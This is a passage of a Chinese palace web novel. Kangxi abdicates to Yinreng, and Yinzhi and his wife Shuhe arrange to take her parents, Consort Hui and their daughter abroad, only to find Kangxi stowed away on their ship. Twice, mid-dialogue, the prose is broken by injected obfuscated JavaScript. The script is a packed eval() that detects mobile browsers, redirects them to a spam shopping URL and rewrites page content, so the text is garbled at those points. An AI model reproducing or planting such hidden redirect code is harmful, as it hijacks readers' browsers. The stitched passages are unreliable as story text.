时隔三年,他们即将再次启程返回大清,这次回去,如果可以,他们是想着把女儿或者尚书府一家都挪过来。 当然,他们也知道全部都挪过来希望渺茫,能挪一个都算是好的,但人嘛,总归要有梦想的不是? 至于想接的人里面为什么没有惠妃,倒不是他们想要孤立她,而是惠妃这情况,着实不好办。 身为皇帝的妃子,只要皇帝还活着,就要陪在皇帝身边,只有皇帝死后,经新皇允准,才能由亲儿子接到身边荣养。 但康熙那长寿劲,目测近二十年将惠妃接过来是无望了。 对于自己亲阿玛能活多久,胤褆的态度是,反正他不争皇位了,能活多久就活多久吧,老爷子霸着皇位,太子只做太子,他只是想想,心里面就高兴。 也不是其他,就纯幸灾乐祸。 “啥玩意?胤礽成了新皇?” 见胤褆一嗓子将所有人的目光都吸引了过来,舒禾眉心微动,给了负责接应的李空一个眼神,示意他跟上,随后拉着胤褆回到船上茶室。 到了茶室,得到眼神示意后,李空低着头解释道:“爷,您离开第二年,京中咱们的人传来消息,不知道怎么回事,太上皇非吵着闹着要退位。 当时众大臣都劝了,据说不少老臣在御书房外跪了三天,都没挽回太上皇退位的心。 就这样,一个月后,当时的太子爷顺理成章地登上皇位,改了……改了国号。” 胤褆咬着后槽牙问道:“国号是什么?” “是、是元鼎。” “好、好啊!”胤褆深吸一口气往后靠坐在椅子上,强迫自己冷静下来,“太上皇退位后,可还住在皇宫中?” “在。” “去套辆马车,爷要即刻启程。” “是!” 李空躬着身子退下后,舒禾看着低着头不知道在想什么的胤褆,抿了抿唇,出声安慰道:“太子登上皇位,皇阿玛成太上皇,咱们就能想办法接他和额娘一起离开了。” “接他干什么,外边的舒服日子刚过了几天,就想给自己找个祖宗了?” 行,还有力气怼人,说明心情没差到极点,但保守起见,还是再说两句好话安慰一下吧,舒禾这样想道,也就这样做了。 “太子登基,一定会大封众兄弟,保清你之前就是郡王,说不定这次一回京,就会被封成亲王了。” “他封的亲王,我稀罕?”胤褆说完,沉默两秒,呢喃着说道:“亲王位,好像确实有点稀罕。” 这反转,舒禾差点就要绷不住笑出来了,手抵着唇,轻咳一声,“这么一看,好处还挺多的不是?” “好处多,坏处也多。” “爷、福晋,马车和马都套好了,您们看,要哪个?” 听到外边属于李空的请示声,舒禾抬手揉了揉胤褆的头,柔声道:“多思无益,先回京城再说。” 62.转变契机 胤褆反手握住舒禾方才揉他头的手,放到鼻尖轻轻嗅闻,闻着属于舒禾身上淡淡的香味,整个人冷静了一些,点点头应道:“那就先回京城再说,到时若发现什么端倪,再行……” 再行什么胤褆没说,但只看他眼里面闪烁的凶光就知道不会是什么好话。 主要是,胤褆根本就不信吵着闹着要退位会是他亲阿玛会做出来的事,作为他名义上第一子,胤褆别的不敢说,但自认还是了解他的。 就说权力这玩意,他阿玛别说放手了,分给他这个亲儿子一点都不放心,如今他不过出走三年,回来皇位上换人了。 不对,应该是在他离开的第二年就换了。 这情况,想让他接受,只有他皇阿玛中了什么巫蛊之术神志不清这一个说法! 这时候的胤褆是如何坚信的,直到在见过胤礽后,去给康熙请安时,见到仿佛焕发了第二春的康熙时,又有些不确定了。 “儿臣参见皇阿玛,给皇阿玛请安,皇阿玛……” “行了,起来吧,这次回来能待多久。”康熙放下手里面的花剪,摆摆手让胤褆起身,说完也不看他,自顾自坐到了一边的躺椅上。 胤褆起身后,看着整个人精神气完全不一样了的康熙,抿了抿唇,有些不服气地问道:“皇阿玛,您为什么那么早就、就……” “就退位?” 康熙端起桌上的茶盏抿了一口茶,看着比起三年前又壮了不少的胤褆,忽然笑了起来。 待到笑够了,康熙才在胤褆一脸懵的表情中说道:“不过是从你们一个个向往自由、向往权力中,领悟到了一个道理。” “什么道理?”胤褆追问道。 “猛虎归林,新旧更迭等自然规律罢了。” “可是……” “没什么可是不可是的,在我做下决定并实施那天开始,一切就已经没有了退路,你难道没发现嘛,那些朝臣,早已经不是当初侍奉我的那批了。” “他如此清理朝堂,您难道就不觉得威严被冒犯吗?” 康熙不甚在意的说道:“一朝天子一朝臣,他登位,清扫异己,再正常不过。” 卧榻之侧、岂容他人鼾睡,想当初,他初登基,第一所想的也是清扫异己。 “况且,有我在,那些退下去的老臣,也多得了个能养老的闲职,比之我死后被新皇忌惮,直接找罪名杀了,也算是好下场了。” 胤褆抬起一直低着的头,深深地看了康熙一眼,语气略带失望道:“皇阿玛,您变了。” “胤褆,有本事把刚才的话再说一遍。” 胤褆本想态度强硬的把刚才的话再重复一遍,顺便再加个‘说就说,谁怕谁’,但是对上康熙平静中暗藏着威胁的眸子,预备出口的话一瞬间就梗在了喉咙里面。 轻咳一声,强迫自己转移话题道:“时间不早了,儿臣自回来还没有给额娘请安,皇阿玛,就不在这里多留了,儿臣告退。” 眼看着胤褆一步步退出殿内,康熙哼笑一声,到底是没阻拦他离开。 这边,来到惠妃、不,现今在惠太妃居住的殿外,胤褆并没有急着进去,而是站在门口当起了那偷听的小贼,就想听听,他不在,他额娘会不会和舒禾聊起他。 谁知道他的名字没听到,对那位的抱怨倒是听了一箩筐。 殿内惠妃握着舒禾的手,一脸不爽地抱怨道:“太上皇前两年不知道发了什么疯,非要退位,搞得我们这些妃子,全部升了一阶成了太妃不说,还要搬到这小宫殿里面,给新皇的妃子腾位置。” 虽然延禧宫她也不准备住一辈子,但这猛然搬到小地方,和一群有旧怨的人抬头不见低头见的,她能撑到现在,完全是凭着不服输的劲,要不然早心梗晕过去几次了。 见惠妃脸上透着愁苦,舒禾反握住惠妃的手,凑过去小声道:“额娘,和我们去海外吧,海外地方大,您想要,我和保清完全可以给您建一座不输于延禧宫的宫殿。” 嗯,只对标延禧宫,多的没有,复刻紫禁城的想法更是想都不敢想,太劳民伤财了。 “海外?” 惠妃眼眸微动,很明显意动了,但不知想到什么,脱口而出却是拒绝的话。 “世人常说,海外危险,我都这把子岁数的人了,就不去趟浑水了,如果可以,你们把哈拉带去海外吧。” “哈拉,我和保清肯定会想办法带过去的,额娘你……” “行了,我知道你们两个都是好孩子,但太上皇还在,我合该侍奉在他身边,离开这里的话,不必多说。” 话落,殿内陷入一片寂静,眼见着室内没了动静,在外边听不到什么了,胤褆推门走进去,对着惠妃讨好一笑,上前见礼道:“儿子给额娘请安。” “在外边偷听够了,舍得进来了?” 胤褆嘿嘿一笑,不说话,自顾自起身找了个地方坐下。 见胤褆这样,惠妃抬手隔空指指胤褆的额头,眼带笑意开口道:“出海几年,装聋作哑的本事长进不少。” “额娘说的这是哪里话,有人知道就不算偷听,您知道,我这能算偷听?” “诡辩。” “哎不说这个了,哈拉呢?来了这么久,怎么不见她过来。” 听了胤褆的发问,惠妃扭头和舒禾对视一眼,摆摆手示意舒禾给他解释去。 “上书房。” “嗐,差点忘了,今天不是休沐的日子。” 明明胤褆是以懊悔的语气说的,不知道为什么,惠妃和舒禾就是从中听出了一丝幸灾乐祸的感觉。 发现两人直勾勾地盯着自己,胤褆有些疑惑的动了动,“这样看着我,是我身上有什么不对劲吗?” “没有……吧?”舒禾有些不确定地回道。 相较于舒禾,惠妃则是干脆了许多,“你说,你刚才说到休沐这事时,是不是在幸灾乐祸!” “额娘!您怎么能这么想我呢,哈拉去上书房上学见不到她,身为她的阿玛,我也不舒服,您这妄自揣测的样,实在是太、太… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253923|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”伤儿子的心了! “行,既然你说见不到哈拉你不舒服,那你去上书房把哈拉接过来。” “啊?” 见胤褆呆愣着不动,惠妃眯了眯眼,“怎么不去?难不成刚才说到那些,都是在唬我?” “没,我现在就去。”胤褆有气无力地站起身,一步一步朝外挪去,中途还期盼着走到一半能被叫住,说是不用去了。 然而直到离开,都没有听到身后的挽留声,胤褆就知道,他是白期盼了。 等胤褆离开后,舒禾扭头和惠妃对视一眼,两人同时笑弯了眸子。 如今宫内换了个主子,虽然都是熟人,但未免惹麻烦,在快到宵禁时间之时,几人还是急匆匆地离开了。 坐上午门外等候的马车,舒禾仔细端详着比之三年大了不少,也漂亮了不少的哈拉,许久才出声问道:“你想,跟我、还有你阿玛,去海外看看吗?” “就是那个你们一直待的地方?” “对。” 哈拉想了想,问道:“那妈妈一起去吗?” “不知道。”舒禾摇了摇头。 “去就是去,不去就是不去,不知道是什么意思?” “我和你额娘有意带着你妈妈一起去,但是你妈妈因着不知名的顾虑,不想去,我这么说,你能明白吗?” “可以,”哈拉垂眸把玩着腰间的玉佩,回答了舒禾问她的第一个问题,“妈妈去,我就去。” “你妈妈去不去,在你?” “在我?”哈拉不可置信地抬眼看向舒禾,眼里面满是不解。 就连胤褆也有些搞不明白舒禾为什么这么说,但在得到舒禾的眼神示意后,转念一想,就把事情想了个七七八八。 知道舒禾这样开头,接下来肯定还有连环话,胤褆索性双手环胸,往后靠在马车壁上,好整以暇地看着母女两个交流。 “对,在你,你妈妈最喜欢你,我和你阿玛劝不动她,但若是你劝,说不定能够劝动。” 在宫中长大的孩子没心眼的在少数,哈拉很明显不属于那少数,是以,听到舒禾这样说,自然而然就明白了她想让她干什么。 但…… “我不想利用妈妈对我的喜爱去胁迫她干什么。” “不是胁迫……” 话刚说了个开头,舒禾看着哈拉倔强的眼神,剩下的许多话就说不出来了。 喉间传出一声轻叹,抬手捏捏哈拉肉嘟嘟的小脸,忽然转移话题道:“瘦了,都没前几年捏着舒服了。” “我大了,要变漂亮姑娘了,瘦了很正常。”哈拉拉住舒禾揉捏她脸的手,一脸严肃道。 不过她那尚带着稚嫩的小脸,着实是没把她的严肃之意传出几分,反倒是把她的可爱渲染了个十成十。 看着母女两个的互动,胤褆嘴角控制不住的上扬,说实话,如果太子登基,能让他带妻女、额娘、外带着岳父岳母一家顺利出海,他将对胤礽登基这事,再无异议,并从此甘愿俯首称臣。 63.举家搬迁、意外之人 嗯,反正到时候他已经带着全家去了外边,不在胤礽手底下干活,俯首称臣就俯首称臣吧,说不定下半辈子都见不了三次面。 至于老爷子,他会定期派人送钱回来的,总归有那么多儿子,也不是很差他这么一个。 “想什么呢?你脸上的笑意都快飞出来了。” “没、咳!没什么,就是突然想笑而已。” 舒禾狐疑地眯了眯眼,没说信也没说不信,低头继续和哈拉说话去了。 马车里的说话声断断续续持续了很久,直到哈拉打了个哈欠才停下,至此,马车内彻底安静下来。 金乌西沉,又是一夜过去,第二日早早就起来的夫妻两个,按照说好的那样,一个进宫一个回家。 进宫那个,普一入宫就去了御书房候着,只等现今是皇帝的胤礽下完早朝好说自己一家子的事。 回家那个,却是受到了全家人的迎接,舒禾拉着哈拉走进尚书府,被苏晚清身边的春晓迎着走到后院。 见到了正在算账本的苏晚清,旁边是她那个统共见了没几次面的大嫂,而她大嫂怀里面还抱了一个襁褓,襁褓中的婴儿很小,估摸着能有两、三个月大。 看样子在她到来之前,应该是说了什么不太好的事,她额娘脸色很难看,她大嫂眼眶也是红的。 舒禾有点搞不清楚现在是什么情况,快步迎上去将行礼的苏晚清扶起来后,扭头对着她大嫂道:“大嫂,不用多礼,找地方坐吧。” “是,多谢大福晋。” 安置完方才行礼的二人,舒禾扭头对转着眼睛打量这里的哈拉招了招手,“哈拉,过来,到额娘这来。” 苏晚清看见噔噔噔跑过来的哈拉,待到看清楚她现在的模样后,眼神一瞬间就柔和了许多。 “比三年前,漂亮了不少,也……”转头看看自己的女儿,“也和你相像了许多。” 听见自己被说像别人,哈拉不满地抿了抿唇,她不喜欢被说是像其他人,就算是自己的额娘也不行。 但从小学到大的礼仪,又不容许她在长辈不带恶意的情况下反驳什么。 舒禾发现了她的小别扭,抿唇微微一笑,捏了捏哈拉的小脸,笑着道:“要说相像,美人之间,总是有共通之处的。” “美人?我现在也算是美人了?” “算啊,怎么不算呢?”舒禾笑着回道。 得到肯定的答复,哈拉抿着唇笑了,单看这抿着唇笑的模样,母女两个的神态上已经似了个十成十。 “额娘,如果没事,儿媳就先带着安儿下去了。” “嗯,春晓,送送大夫人。” “是。” 待到春晓带着大嫂离开后,舒禾抬手捏捏哈拉头顶的两个小丸子,笑着问道:“接下来额娘有事要说,哈拉先跟着春分去隔壁房间玩好不好?” “好吧。”哈拉看看舒禾,再看看苏晚清,点头应道。 笑着目送哈拉离开后,舒禾方才询问起方才进来时看到的那一幕。 “额娘,大嫂她的眼眶、还有那孩子,是怎么回事?” 提起这个,苏晚清就头疼,手指轻揉额头,语气烦躁:“还不是你大哥,上一年回来了,待了一个多月,到时间就走了,然后你大嫂就怀孕了,今年生了,结果你大哥还没有回来,刚出月子就天天委屈地来我这哭,唉~” 都说儿女是债,这说明在今年之前,苏晚清是嗤之以鼻的,因为她生的这几个,都是个顶个的贴心不惹事,然而今年,她算是彻底信了。 听了苏晚清说的,舒禾一时间也有些沉默了,若是换成其他,她还能想办法帮帮忙,但她大哥这事,她是真没办法。 她额娘好歹上一年还见过她大哥,但是她呢,算算已经有五、六年没见过了吧? “额娘,不若让大嫂跟着我一起出海吧,到了外边,见得多了,说不得心里面就好受点了。” 苏晚清闻言,垂着眸子沉思片刻,点了点头,“这确实是个办法,你等着,我让春雨过去问问她愿不愿意。” 见她额娘这么容易就松了口,舒禾眨了眨眼,继续乘胜追击道:“只大嫂一个到底是有些孤单,额娘,不若您也跟着一起去?” “我也跟着去了,你阿玛怎么办?” “也跟着一起去。” “说是一起去,他现今还在朝堂里面任职……” “额娘,您读的书也不少,相信一朝天子一朝臣的道理您不是不懂,与其放任阿玛继续在朝堂里面磋磨时间,不若去外边看看。” 说到这里,舒禾顿了顿才接着小声道:“而且几年见一次面,您就当真不想我吗?” “这……”苏晚清皱了皱眉,没有一口回绝也没有一口答应下来,只道:“你让我想想、让我想想。” 而没有得到彻底拒绝的答案,舒禾就已经满足了,毕竟只要没有一口回绝,那么一切就还有转圜的余地。 她接下来还要在京城待半年,这半年,应该是够她改变她额娘的思想的。 接下来没有舒禾并没有再就着离开的事多说什么,而是顺势就转移了话题,说起了她在海外的生活。 关心女儿的苏晚清听到舒禾说起她在外的生活,不自觉就多问了许多,越问,整个人就越沉默。 舒禾描绘中的生活,是她之前不敢想的肆意,她在思考,是否真的要就此离开这片生活了大半辈子的土地。 她已经不再年轻,不再有冲劲,但看着一说起那些生活,整个人就像在发光的一样的女儿,苏晚清不自觉就柔和了眉眼,她想真真切切看到那样的舒禾,不止是在话语中听到…… 这边母慈子孝的同时,御书房差点就上演一场兄弟互相伤害、臣子殴打皇帝的大戏。 胤礽懒洋洋地窝在大椅上,整个人的眉眼间说不出的贵气肆意,“大哥,你知道的,古来就有留质的说法,你想带着你额娘、女儿还有岳丈一家离开这事,它不现实。” “现实不现实的,也就是你一句话的事,这么多年兄弟,给个敞亮话,行还是不行,别搁这和我扯什么古来今来的,你知道的,我书读得不好。” “话说到这份上,朕也就不跟你绕弯子了,可以,但有条件,除此之外,你额娘的事,还需皇阿玛点头,毕竟她是皇阿玛的人,朕这里,不方便插手。” 一大段话,胤褆只听到了‘可以’二字,默默把起了一半的身子坐下,对胤礽比了个请的手势,“你、哦不,您说。” 胤礽瞥一眼胤褆,并没有计较他话里面毫无尊敬之意,讲真的,自打成了皇帝,他整个人都通透了许多,寻常小事,已经不会引起他的怒气了。 “你之前给皇阿玛的那些方子,实物,现今大清已经全部研究出来了,只有一点,你知道的,大清蠢才总是很多,朕要求他们改进,他们不行,所以……” “所以你想要改进后的配方?” “没错!” 见胤礽想要的就是这个,胤褆一口就答应了下来,“可以,回头我就找人把方子给你送来。” “不用,”胤礽摆摆手,“你准备好方子,差人往宫里面传条消息就行,朕这边派人送你升爵圣旨顺便把东西拿回来。” “什么爵位?” “亲王,嫌低的话,我这边不介意你拿些东西贿赂我再往上升升。” 胤褆闻言皱了皱眉,嫌弃地看向胤礽,张嘴欲言又止了半天,还是没问出口原来心中的问题,而是换了个问题问。 “按理来说,新皇登基,为了避嫌,之前同姓的那些兄弟都要改掉相同的字以示避讳,你准备什么时候让我们这些兄弟改?” “不用改,一个字罢了。”他都准备把这些兄弟全部送出海去祸祸其他地方了,还能在乎这么一个字嘛。 胤褆不信,狐疑地眯起眼睛盯着胤礽,胤礽摊开手任由他盯,见他盯的久了,没忍住道:“这么多年兄弟,咱们之间连这么点信任都没有吗?” “皇上、觉得呢?” “行吧,朕也觉得没有,所以就辛苦大哥出海时顺便把几个长成的小阿哥都带出去了。” “呵,臣这边不太方……” “科尔坤一家出海。” 七个字,瞬间打断胤褆的话,也打散了他重又说一遍的想法,看着胤礽得意洋洋的嘴脸,咬了咬牙,应道:“臣、遵旨!” “大哥如此为众兄弟着想,朕这边也不好不表示一下,进贡的绸缎,不若就由大哥带几匹回去?” “只几匹?”胤褆皱着眉头不满道。 “十匹,不能再再多了。” 胤褆闻言,脸色稍霁,躬着手弯腰行礼道:“谢皇上赏赐。” 眼睁睁看着胤褆变脸的胤礽抽了抽嘴角,心中感叹,没想到他这大哥还是个长情的,方才说给他爵位都没这么喜形于色。 兄弟两个又说了几句话,胤礽便以还要继续批奏折为由,打发走了胤褆。 胤褆离开后,想着舒禾回娘家肯定不会那么早回去,他现在回去也不过是一个人独守空府,便索性脚步一转去了如今太上皇的居所。 到了地方,由梁九功通报过后,胤褆得以顺利进去。 一进去,胤褆就见康熙正十分悠闲的拿着一个小鱼竿钓着盆里面的鱼,关键是也不知道过了多久,那旁边搁着放钓上来鱼的盆里面还一条鱼都没有。 憋着笑请过安后,胤褆就被强行塞了一把鱼竿。 预感不妙的胤褆低头看看手里面的鱼竿,抬头看看眼里面充满幸灾乐祸的康熙,略微迟疑地唤道:“皇阿玛?” “钓,今天钓不上来鱼,可就别想走了。” 别以为他方才没看见这臭小子进来时憋笑了,不是嘲笑他嘛!那就陪他一起钓吧! “皇阿玛……” 康熙指指梁九功新拿来的小盆,也不废话,只道:“钓!” “……是。” 这一钓,就钓到了将近宵禁时,也不知道那大盆里面的鱼是从哪找的,跟成了精似的,只吃饵就是不咬饵,耗了半天就钓上来一条手指头大小的鱼。 胤褆拎起手里面提着的小桶,往里面瞟了一眼,挫败感袭上心头。 “郡王,咱们是直接回府还是?” “去尚书府,接上福晋一起回去。”胤褆抬手揉揉额头道,他和舒禾约好了去接她,她就不会不等他直接回府,所以他要去接她。 是夜,尚书府外,舒禾牵着哈拉踏上马车,胤褆则是站在马车旁护着他们两个。 舒禾在马车上坐好后,拉开车窗帘,朝门口摆手,示意送行的两老赶紧回去,“额娘、阿玛,时间不早了,你们赶紧进去吧。” “我和你额娘站在这里看马车走远了就进去,反倒是你,要赶快了,要不然城里面就要宵禁了。” “我知道的,阿玛,我们这就走了。” 舒禾说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262402|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完后,让开位置,胤褆凑过去,对站在外边的科尔坤点点头,“回见。” “哎!回见、回见!” 马蹄声响起,马车缓缓远去,待再也看不见马车的影子后,科尔坤扶着苏晚清回了后院。 卧房内,苏晚清将今天舒禾说的事说了一遍后,问道:“老爷,你觉得这事有门吗?” 科尔坤沉思片刻,在苏晚清期待的目光下,缓缓点了点头,“若说离开,可行。” “你这官职……” 说到官职,科尔坤幽幽地叹了一口气,“舒禾说的话里面,一朝天子一朝臣这句话我是认同的。 当今如今不直接将我踢出权力场,不过是因着我和大阿哥那姻亲关系,如今大阿哥势力不算是弱,踢出去我,明面上不好看,但,重用什么的,以后也是不可能了。” 事实上,不止是以后,在过去这一年里面,他已经坐了一年的冷板凳,逐渐远离了兵部的权力中心点。 而苏晚清听了科尔坤的话,见他面色愁苦,回想过去这一年多,每天一到点他就早早回来,一个月有一多半时间歇在她这。 心里面也明了,这是借了女儿女婿的光,找不着人,到她这找补来了。 卸下头上的首饰,扔进不远处的首饰盒中,发出一声脆响,垂眸问道:“那我明天去一趟郡王府,将咱们两个的决定告诉他?” 完了,久久没有听到回声,低垂着的眸子里面闪过一丝嘲讽,方才说的那么洒脱,还不是放不下他那一官半职。 刚才那番话,估摸着不是想离开,而是想让大阿哥去皇上那里给他说几句话好话,好继续留在这权力场吧? 苏晚清猜的没错,科尔坤一开始就是这样想的,但他也知道一点,他操控不了胤褆这个人,也操控不了他的女儿。 所以,沉默良久后,科尔坤哑着嗓子说了句:“这一切,就依你吧。” 翌日,得到苏晚清带过来的确切消息后,舒禾眼里面闪过一丝喜意,也将胤褆昨天晚上告诉她的,皇上已经允准他们一家出海的事告诉了苏晚清。 “如此,我也就放心了,昨天晚上我还想,卸任后的朝廷官员离开会不会不好离开。” “就算是不好离开,也总是有办法的,”舒禾拍拍苏晚清放在她腿上的手,提议道:“额娘,女儿这些年没回京城,还不知琉璃厂有没有上新首饰,不若您今天陪着女儿看看去?” “好啊,带着哈拉一起,额娘给你们两个买首饰!” “不用您买,我有……” “你有钱我知道,但这并不妨碍身为额娘的我,想给你花钱,行了,不许打岔,赶紧叫上哈拉,咱们早点去早点挑,也免得好首饰都被挑走了。” “那听您的。” 这次回来的目的,以近乎不可能的速度在几天时间之内就完成了大半,剩下那唯一不可能的惠妃,经过多番运作,也不是不能变作可能。 总得来说,这次回来,所经之事,舒禾都挺满意的。 富贵迷人眼、繁华腐人心,在京城待久了,真就有种不想再回去的感觉。 半年时间眨眼即逝,临启程离开京城那日,舒禾看着住了半年的富贵窝,幽幽地叹了一口气,莫明不想离开。 这大半年在京城里面,无聊时就带着哈拉去逛逛琉璃厂、去京郊跑跑马、进宫看看惠妃、回家看看额娘…… 真真是舒服的不得了,尤其是在胤褆的爵位升为亲王后,出门在外,行礼做多回个平礼,她就更爱出门卖东西了。 但就是这么美好的生活,眨眼间就要烟消云散了。 舒禾回头不舍地最后看了一眼府邸,才将手搭在胤褆早早就伸过来的手上,借力上了马车。 马车内并没有其他人,跟他们一起离开的惠妃和哈拉从宫内出发,舒禾的阿玛、额娘则是从尚书府出发,他们一行人约定好了在城门口汇合。 要说惠妃,带她一起离开,着实是费了不少功夫,首先需要她的同意,其次还需要去求康熙,让她放人。 这两个过程,舒禾和胤褆一度曾经认为难在后边那一步,但事实告诉他们,你们认为错了,难在第一步。 惠妃因着不知名的顾虑,一直不肯点头,尽管面上能够看出来显而易见的松动,但就是不点头。 最后,胤褆查了许多东西,一个人去了惠妃如何住的地方,也没多说,只道:“您当年为家族,被送进宫,作为后宫中的眼线活了那么多年,活到忘了曾经的您也是一位肆意的满族姑娘。 现如今,新皇登基,他们急于往新皇后宫中安插人,您已经失去了对那个家族的作用,何不放过自己,为自己活一回?” 说完,胤褆不等惠妃回话,就离开了,也就是这么一番话过后,第二日他们得到了惠妃的消息,说她愿意离开。 随后胤褆就去求接惠妃出宫荣养的圣旨,甚至不怕什么,明着说了,“您那么多妃子,放过我额娘一个又能算什么?” “允了。” 两个字砸的胤褆一肚子话都憋在了肚子里面,只能憋屈地行礼谢恩。 目的达到了,但胤褆就是觉得憋屈,恨不得让他皇阿玛把‘允了’两个字收回去,他们两个好好论辩一番,他再说这两个字。 然而,皇阿玛……皇阿玛了半天,胤褆到底是没敢把话说出去,唯恐再求他就不同意了。 “皇阿玛?您怎么会在这准备出海的官船上!” 64.回马枪 “大哥,方才在外边听你念叨皇阿玛,可是……皇、皇阿玛?” 胤禟不可置信地唤道,喊完后,还抬手揉了揉眼睛,唯恐是自己眼花看错了。 始终慢胤禟一步的胤誐见胤禟傻愣在门口不进去,还叫了皇阿玛,狐疑地绕过他朝房间内看去。 这一看,他就成了翻版胤禟,不对,他还不如胤禟呢,胤禟好歹是喊过后才发愣的,他呢,一见房间内的景象就愣住了,别说叫人了,他整个人都快傻了。 看着自家的三个傻儿子,康熙嫌弃地移开视线,双手背在身后,给了梁九功一个眼神。 梁九功会意,走到门口处对挡住门的胤誐身边,小声道:“十阿哥,对不住了。” 说完后,不等胤誐有什么反应,就拉着胤誐的胳膊将人拽到了一边。 门口没人挡着了,康熙径直就走了出去,且不提一路看呆了多少人,单说康熙的感受,他的感受是挺好的。 站在高处朝下俯瞰,热闹、繁华的气息扑面而来,想到这曾经是他治下的臣民,康熙内心就油然而生出一股子自豪感。 “皇阿玛,趁着船还没有启程,您要不……” “嗯?” 面对康熙看过来的凌厉眼神,胤褆不自觉咽下未出口的话,站到了一边。 之前他说皇阿玛是祖宗,只是开玩笑似的夸张了说辞,现在看来,真就跟那祖宗差不多,一点不想听的话都听不得。 明明之前在皇位上坐着时,有些不好听的话还能听得的,现在却好像是一点都听不得了。 胤褆不想说话了,康熙却有话说了,最后看了一眼海港的热闹景象,转而将视线投向胤褆,声音中暗藏炫耀之意地问道:“保清,你的领地,比之大清,如何?” “回皇阿玛,儿臣私以为,比之大清,有过之而无不及。” “哦?既然你认为你的领地好,那么就详细给我说说。” “先说子民安居乐业的程度,我的领地,每家子民除每年吃食用的,还会有富余,每家至少有一个人有工作。 哦,工作就是可以用来养家糊口的活计,除了金钱上有富余,他们还不会担心有恶霸什么的,因为每隔一个时辰街道上就会有巡逻的士兵经过,他们随时可以向这些士兵求救。” 余光瞥见康熙极速变化的脸色,胤褆低头默默翻了个白眼,说是这样、不说也是这样,这老爷子,真是只想听顺耳的话。 但他今天还偏偏就不顺着了,想着,胤褆就接着说了起来,“再说士兵储备,我知道,我那里地小人也少,士兵数量上肯定比不过大清。” 康熙闻言,脸上还不等露出一抹笑模样,就听胤褆又继续了。 “但士兵质量,那我肯定是不认输的,不说以一敌百,只说一个打十个,还是不成问题的。 然后就是兵种,大清有骑兵、普通士兵还有海军,前两个还行,后一个,就是弱项了,可是在我那,这个弱项已经不复存在。 最后说商,大清虽说不抑商,可也不扬商,商人们的活力早已大不如前,自发出海的少,所能带来的新鲜事物更是少得可怜,非常不利于长久以来的发展……” 父子两个靠着栏杆说了许久,久到船已经启航,两人才停下。 康熙眼神复杂地看着胤褆,许久才道:“长大了。” 有见识了,也逐渐脱离了他认知中的保清。 “人嘛,总是要长大的。”胤褆低头笑笑,回道。 康熙幽幽地叹口气,上前两步,拍拍胤褆肩膀,沉声道:“晚上叫上你福晋,一起吃顿饭。” “皇阿玛,儿子福晋她……” “不必多说,我心里面有数。” 这下子,换胤褆面色复杂了,看着康熙离开的背影,胤褆手抬起又放下,最终在康熙即将走过拐角离开时,终是开了口。 “皇阿玛,儿子觉得,吃饭什么的不若就免了,有时间了儿子带着福晋去给您请安,可以不?” “有时间?”康熙哼笑一声,转头斜睨着胤褆,“你确定你的有时间在我的有生之年?” “呃……这、皇阿玛!您怎么能这么想儿子!这是对儿子莫大的不信任!” “行了,没闲心听你扯那么多,晚上带着小九、小十还有你福晋去、地点待会让梁九功告诉你。” “……是。” 目送康熙离开后,胤褆转身就去找舒禾了,在顶楼他们两个的房间找到舒禾后,胤褆一屁股坐到床上,嘴都不带停的就开始吐槽。 “你都不知道,今天皇阿玛那表现多任性,世人常说老小孩、老小孩,我算是知道为什么有这么一说了,他现在,活脱脱就是一个小孩。 不对,他比小孩还任性,哈拉都不会像他这样,一听别人说了他不想听的,就以命令让人不说话。” 舒禾含笑倚着屏风听着胤褆的抱怨,听完了后,笑着开口问道:“你怎么知道哈拉不这样?” “直觉,爷的直觉告诉爷,爷的女儿不可能会那么任性。” 闻言,舒禾耸耸肩,佯装遗憾道:“很可惜,这次你的直觉出错了,哈拉也是这样,但这样的她,只在比她地位低的人面前体现。” “懂了,这是隔辈遗传,都怪皇阿玛!”胤褆猛然抬起头道。 舒禾一言难尽地看着胤褆,“你这污蔑……” “不是污蔑!是事实!” “好好好,事实、事实。” 现在这情况,就算得到了肯定,胤褆也高兴不到哪去,身体朝后仰躺在床上,望着床顶淡紫色的床幔,幽幽道:“晚上,皇阿玛让咱们去他那吃饭。” “就咱们两个?” “不,还有小九、小十。” “既然还有其他人,那就不需要担心什么了。” “唉,你不懂。” 舒禾抬脚走到床边,踢踢胤褆垂在床侧的双腿,居高临下地俯视着仰躺在床上的胤褆,不满道:“说清楚,我怎么就不懂了?” “皇阿玛特别烦爱新觉罗家出情种或者专宠一人,这两样,咱俩占全了,要我说,今天晚上这顿饭,就是顿鸿门宴,说不得那顿饭就给咱们两个下毒了。” 见胤褆说的这么严重,舒禾的嘴角是控制不住的抽搐,抬手遮住抽搐的嘴角,“你是不是忘了,这是船上。” “船上怎么了?就算是天上也不妨碍他下毒啊!” “……但这是咱们的船,船上都是咱们的人。” “那你说说,皇阿玛他是怎么在船上都是咱们两个的人的情况下上的船,还无人发觉?” “扒船壁爬上来?”舒禾开玩笑似的说道,说完后,胤褆还没笑,她先被逗笑了。 实在是脑海中一幻想康熙那张脸扒着船壁往上爬,就有种很可乐的感觉。 胤褆一开始还不明白舒禾在笑什么,后边试着想了一个她刚才说的那句话,没忍住也噗嗤一声笑了出来。 是夜,外边海风阵阵,屋内却是截然不同的暖然气氛。 